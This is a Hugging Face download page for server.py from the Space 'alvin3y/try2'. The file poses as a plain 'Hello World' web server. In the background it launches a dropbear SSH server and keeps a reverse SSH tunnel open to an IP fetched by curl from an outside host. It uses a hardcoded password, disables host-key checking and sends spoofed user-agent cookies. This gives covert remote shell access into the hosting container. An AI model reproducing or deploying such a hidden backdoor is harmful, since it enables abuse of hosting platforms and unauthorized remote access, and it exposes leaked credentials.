Download server.py from alvin3y/try2: direct link, hf CLI and curl.
- Browser
- Download file 2.39 kB
-
https://huggingface.co/spaces/alvin3y/try2/resolve/main/server.py
- Command line
-
hf download hf://spaces/alvin3y/try2/server.py
-
curl -L -o server.py https://huggingface.co/spaces/alvin3y/try2/resolve/main/server.py
2.39 kB
| from http.server import BaseHTTPRequestHandler, HTTPServer | |
| import subprocess | |
| import time | |
| import threading | |
| remote_port = '2243' | |
| remote_ip = '' | |
| remote_user = 'alvin' | |
| ssh_password = 'alvin3@2007y' | |
| local_port = '2222' | |
| ssh_connect_port = '' | |
| def get_remote_ip(): | |
| if remote_ip: | |
| return remote_ip | |
| cmd = [ | |
| "curl", "-s", "-A", "DeepNote/Linux", "-b", "__test=4a82a04919803c605ab4d54f0fcf4b10; filemanager=2a020f883de6b7378f1367fd31ad4f7a", "http://jee3y.ct.ws/ip.txt" | |
| ] | |
| try: | |
| result = subprocess.run(cmd, capture_output=True, text=True, check=True) | |
| return result.stdout.strip() | |
| except subprocess.CalledProcessError as e: | |
| print(f"Failed to get remote IP: {e}") | |
| return None | |
| def start_ssh_tunnel(): | |
| port_to_connect = ssh_connect_port if ssh_connect_port else "22" | |
| while True: | |
| ip = get_remote_ip() | |
| if not ip: | |
| print("Could not get remote IP. Retrying in 30s...") | |
| time.sleep(30) | |
| continue | |
| print(f"Attempting to connect to {ip} on port {port_to_connect}...") | |
| ssh_cmd = [ | |
| "sshpass", "-p", ssh_password, "ssh", | |
| "-p", port_to_connect, | |
| "-o", "StrictHostKeyChecking=no", | |
| "-o", "UserKnownHostsFile=/dev/null", | |
| "-o", "ExitOnForwardFailure=yes", | |
| "-o", "ConnectTimeout=10", | |
| "-o", "ServerAliveInterval=30", | |
| "-o", "ServerAliveCountMax=3", | |
| "-N", "-T", | |
| f"-R0.0.0.0:{remote_port}:localhost:{local_port}", | |
| f"{remote_user}@{ip}" | |
| ] | |
| try: | |
| subprocess.run(ssh_cmd) | |
| except Exception as e: | |
| print(f"SSH command failed: {e}") | |
| print("Connection failed or ended. Retrying in 30s...") | |
| time.sleep(30) | |
| threading.Thread(target=start_ssh_tunnel, daemon=True).start() | |
| subprocess.Popen(["dropbear", "-p", local_port]) | |
| print("SSH reverse tunnel loop started in background.") | |
| class HelloHandler(BaseHTTPRequestHandler): | |
| def do_GET(self): | |
| self.send_response(200) | |
| self.send_header('Content-type', 'text/plain') | |
| self.end_headers() | |
| self.wfile.write(b'Hello World') | |
| if __name__ == "__main__": | |
| server_address = ('0.0.0.0', 7860) | |
| httpd = HTTPServer(server_address, HelloHandler) | |
| print("Server running on http://0.0.0.0:7860") | |
| httpd.serve_forever() | |